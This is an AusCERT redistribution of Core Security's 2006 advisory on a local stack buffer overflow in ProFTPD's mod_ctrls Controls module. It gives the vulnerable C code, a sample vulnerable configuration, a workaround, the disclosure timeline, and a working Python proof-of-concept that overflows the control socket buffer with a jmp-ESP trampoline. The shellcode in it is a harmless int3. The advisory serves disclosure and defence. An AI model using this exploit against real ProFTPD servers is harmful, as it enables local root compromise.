-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

===========================================================================
             AUSCERT External Security Bulletin Redistribution

                    ESB-2006.0914 -- [Win][UNIX/Linux]
                     ProFTPD Controls Buffer Overflow
                             14 December 2006

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:              ProFTPD 1.2.0a and prior
Publisher:            Core Security Technologies
Operating System:     Windows
                      UNIX variants (UNIX, Linux, OSX)
Impact:               Root Compromise
Access:               Existing Account

Original Bulletin:
  http://www.coresecurity.com/?module=ContentMod&action=item&id=1594

- --------------------------BEGIN INCLUDED TEXT--------------------

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



           Core Security Technologies - Corelabs Advisory
               http://www.coresecurity.com/corelabs/

               ProFTPD Controls Buffer Overflow



Date Published: 2006-12-13

Last Update: 2006-12-12

Advisory ID: CORE-2006-1127

Bugtraq ID: None currently assigned

CVE Name: None currently assigned

Title: ProFTPD Controls Buffer Overflow

Class: Boundary Error Condition (Buffer Overflow)

Remotely Exploitable: No

Locally Exploitable: Yes

Advisory URL:
http://www.coresecurity.com/?module=ContentMod&action=item&id=1594

Vendors contacted:

ProFTPD
- - - CORE notification: 2006-11-30
- - - Notification acknowledged by ProFTPD maintainers: 2006-11-30
- - - Technical details sent to ProFTPD maintainers: 2006-11-30
- - - ProFTPD team produces a patch for this issue: 2006-12-08
- - - Fixed ProFTPD version publicly available: 2006-12-12
- - - CORE advisory release: 2006-12-13

Release Mode: COORDINATED RELEASE


*Vulnerability Description*

 A locally exploitable stack overflow vulnerability has been found in
 the mod_ctrls module of ProFTPD server.

 ProFTPD is a commonly used and highly configurable FTP server for Unix
 and Windows systems. This server is available as an optional package
 in most recent Linux distributions, including Debian (sid), Mandriva
 2007 and Ubuntu Edgy. For more information concerning ProFTPD, refer to
 the site http://www.proftpd.org/

 The vulnerability is located in the "Controls" module. This is an
 optional feature of ProFTPD server, that must be activated in the
 configuration file. Controls are a way to communicate directly with
 a standalone ProFTPD daemon while it is running. This provides
 administrators a way to alter the daemon's behavior in real time,
 without having to restart the daemon and have it re-read its
 configuration. The Controls feature allow authorized users to locally
 manage parameters of the ProFTPD servers, like aborting connections,
 managing users, changing log levels, disabling individual virtual
 servers, etc.

 The vulnerability allows local attackers with access to the Controls
 features (and who have been allowed by Controls ACLs in proftpd.conf)
 to gain root privileges.


*Vulnerable Packages*

 ProFTPD 1.3.0a
 ProFTPD 1.3.0

 (Older packages are also possibly vulnerable)


*Solution/Vendor Information/Workaround*

 As a workaournd, turn off the module mod_ctrls, with the following lines
 added to proftpd.conf:

 <IfModule mod_ctrls.c>
    ControlsEngine off
 </IfModule>

 Alternatively, administrators can use the ControlsACLs directive in
 proftpd.conf to restrict access only to trusted local users.

 Version 1.3.1rc1 of ProFTPD, which fixes this issue, is available on the
 ProFTPD site (http://www.proftpd.org/).


*Credits*

 This vulnerability was found by Alfredo Ortega from Core Security
 Technologies.

 We wish to thank TJ Saunders from the ProFTPD team for his quick
 response to this issue.


*Technical Description - Exploit/Concept Code*

 The vulnerability exists in pr_ctrls_recv_request() function from
 src/ctrls.c

 Analysis of the vulnerability follows:

- - ----------------------------------------------------
(Code from ProFTPD 1.3.0a, src/ctrls.c )

int pr_ctrls_recv_request(pr_ctrls_cl_t *cl) {
  pr_ctrls_t *ctrl = NULL, *next_ctrl = NULL;
  char reqaction[512] = {'\0'}, *reqarg = NULL;
  size_t reqargsz = 0;
  unsigned int nreqargs = 0, reqarglen = 0;

  .
  .
  .

  /* Next, read in the requested number of arguments.  The client sends
   * the arguments in pairs: first the length of the argument, then the
   * argument itself.  The first argument is the action, so get the first
   * matching pr_ctrls_t (if present), and add the remaining arguments to it.
   */

                           (1)

  if (read(cl->cl_fd, &reqarglen, sizeof(unsigned int)) < 0) {
    pr_signals_unblock();
    return -1;
  }

                           (2)

  if (read(cl->cl_fd, reqaction, reqarglen) < 0) {
    pr_signals_unblock();
    return -1;
  }
 .
 .
 .
}
- - ----------------------------------------------------

 In (1) the integer 'reqarglen' is fully controlled by the attacker,
 as it's read directly from the control socket. This allows an attacker
 to control how much we read into the 'reqaction' variable in (2)
 (this variable is in the stack).

 Example of vulnerable configuration in proftpd.conf:

 <IfModule mod_ctrls.c>
     ControlsEngine        on
     ControlsACLs          all allow group someuser
     ControlsMaxClients    2
     ControlsLog           /var/log/proftpd/controls.log
     ControlsInterval      5
     ControlsSocket        /tmp/ctrls.sock
     ControlsSocketOwner   someuser someuser
     ControlsSocketACL     allow group someuser
 </IfModule>

 ProFTPD must be compiled with mod_ctrls support ( --enable-ctrls ).


 The following is a simple working proof-of-concept (Python).

- - ----------------------------------------------------
#    Core Security Technologies - Corelabs Advisory
#    ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
        os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished
#
s.close()
- - ----------------------------------------------------

*References*

 For more information concerning the Controls module, refer to
 http://www.castaglia.org/proftpd/doc/contrib/ProFTPD-mini-HOWTO-Controls.html


*About CoreLabs*

 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies.

 We conduct our research in several important areas of computer security
 including system vulnerabilities, cyber attack planning and simulation,
 source code auditing, and cryptography. Our results include problem
 formalization, identification of vulnerabilities, novel solutions and
 prototypes for new technologies.

 CoreLabs regularly publishes security advisories, technical papers,
 project information and shared software tools for public use at:
 http://www.coresecurity.com/corelabs/


*About Core Security Technologies*

 Core Security Technologies develops strategic solutions that help
 security-conscious organizations worldwide. The company?s flagship
 product, CORE IMPACT, is the first automated penetration testing
 product for assessing specific information security threats to an
 organization. Penetration testing evaluates overall network security
 and identifies what resources are exposed. It enables organizations to
 determine if current security investments are detecting and preventing
 attacks.

 Core augments its leading technology solution with world-class security
 consulting services, including penetration testing, software security
 auditing and related training.

 Based in Boston, MA. and Buenos Aires, Argentina, Core Security
 Technologies can be reached at 617-399-6980 or on the Web at
 http://www.coresecurity.com.


*DISCLAIMER*

 The contents of this advisory are copyright (c) 2006 CORE Security
 Technologies and (c) 2006 Corelabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper
 credit is given.

*PGP Key*

 This advisory has been signed with the PGP key of Core Security
 Technologies Advisories team, which is available for download at
 http://www.coresecurity.com/files/attachments/core_security_advisories.asc


$Id: proftpd-advisory.txt,v 1.9 2006/12/13 21:51:08 carlos Exp $


- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFgHlyyNibggitWa0RAhy6AKCc3kcrBMlQmaJe7bFsvt9u2ZQDiQCeMovD
MxtNYvk6+ge+6k0tFCMuf0c=
=CBKI
- -----END PGP SIGNATURE-----

- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        http://www.auscert.org.au/render.html?cid=1980

If you believe that your computer system has been compromised or attacked in 
any way, we encourage you to let us know by completing the secure National IT 
Incident Reporting Form at:

        http://www.auscert.org.au/render.html?it=3192

===========================================================================
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.
===========================================================================

-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967

iQCVAwUBRYDUTCh9+71yA2DNAQLHQQP+Pyxln+52c+2r4SarLBhAqtgYoZs3HsmJ
M7Ia7c7GcABTWldzvBsvfuFDfBqVZ0gyNI/1bP0jJ5mv/Qhcg5pUmBog/4P2fLet
uNFfiUTkQU3Jlttz1SfIQ1VSO3IjZ2YVxiP7Glu1lalViId8zK9lRffu7sfwYzE7
XxKpNbs9nK0=
=VpI9
-----END PGP SIGNATURE-----